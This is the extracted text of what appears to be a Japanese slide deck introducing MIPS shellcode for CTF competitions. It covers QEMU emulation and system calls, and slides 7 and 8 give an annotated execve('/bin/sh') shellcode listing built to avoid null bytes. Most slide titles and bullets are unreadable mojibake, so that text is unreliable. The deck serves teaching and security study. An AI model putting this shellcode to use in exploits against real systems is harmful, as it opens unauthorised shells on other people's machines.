Slide 1

Slide 1 text

NJQTγΣϧίʔυೖ໳ $QBX-5!ίϫʔΩϯάεϖʔεכ৔ொ $P&EP ೥݄೔ ۚ https://speakerdeck.com/owlinux1000

Slide 2

Slide 2 text

എܠ • $5' $BQUVSF5IF'MBH Ͱ͸γΣϧΛ ୣऔ͢Δδϟϯϧ1XO &YQMPJU ͕͋Δ • ͍͍ͩͨͷ໰୊͕YΞʔΩςΫνϟ • ͨ·ʹଞͷΞʔΩςΫνϟͷ໰୊΋ͰΔ ˠ NJQTͷษڧΛͯ͠ΈΑ͏

Slide 3

Slide 3 text

എܠ • ໋ྩηοτɾΞʔΩςΫνϟ͸ҟͳΔ • Y্Ͱ͸ɺNJQTͷ࣮ߦϑΝΠϧ͸ಈ͔ͳ͍ ˠ Ծ૝తʹΤϛϡϨʔτ͢Δඞཁ͕͋Δ mov eax, 0x0 move v0, zero x86 mips

Slide 4

Slide 4 text

2FNVʹΑΔ؀ڥ࡞੒ • ຊ࣭Ͱ͸ͳ͍ͷͰׂѪ • #VJMEJOHB%FCJBO 4USFUDI2&.6 JNBHFGPS.*14FM<>͕Θ͔Γ΍͍͢ [1] https://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/ [2] https://ja.wikipedia.org/wiki/QEMU#/media/File:Qemu_logo.svg [2]

Slide 5

Slide 5 text

γΣϧίʔυ • ޿ٛͷҙຯͰ͸ɺ߈ܸ༻ͷίʔυͷஅย • $5'Ͱ͸ FYFDWF lCJOTIz /6-- /6-- Λ͢ΔίʔυΛΛࢦ͢ࣄ͕ଟ͍ • ΞηϯϒϦݴޠͰ͸ɺγεςϜίʔϧΛ ݺͿඞཁ͕͋Δ

Slide 6

Slide 6 text

γεςϜίʔϧ • Χʔωϧ͕࣋ͭػೳΛݺͼग़͢ࡍʹར༻ • WϨδελʹγεςϜίʔϧ൪߸ • ྫ ͸PQFO ϑΝΠϧΛ։͘ • BϨδελʹୈҰҾ਺ɾɾɾ • ্هΛઃఆޙɺTZTDBMM໋ྩΛݺͿ https://w3challs.com/syscalls/?arch=mips_o32

Slide 7

Slide 7 text

NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2 <- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/

Slide 8

Slide 8 text

NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2 <- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/ ※機械語に変換した時に”\x00”が⼊らないようなプログラムを意図的に作っている → str(n)cpyなどの関数を使っている場合、”\x00”があるとそこで途切れる

Slide 9

Slide 9 text

࣮ߦ݁Ռ

Slide 10

Slide 10 text

͓ΘΓ • NJQTͷγΣϧίʔυͷ࢓૊ΈΛֶΜͩ • ڵຯ͕ग़ͨਓ͸ͥͻಡΜͰΈͯԼ͍͞

Slide 11

Slide 11 text

એ఻ https://tokyowesterns.github.io/ctf2017/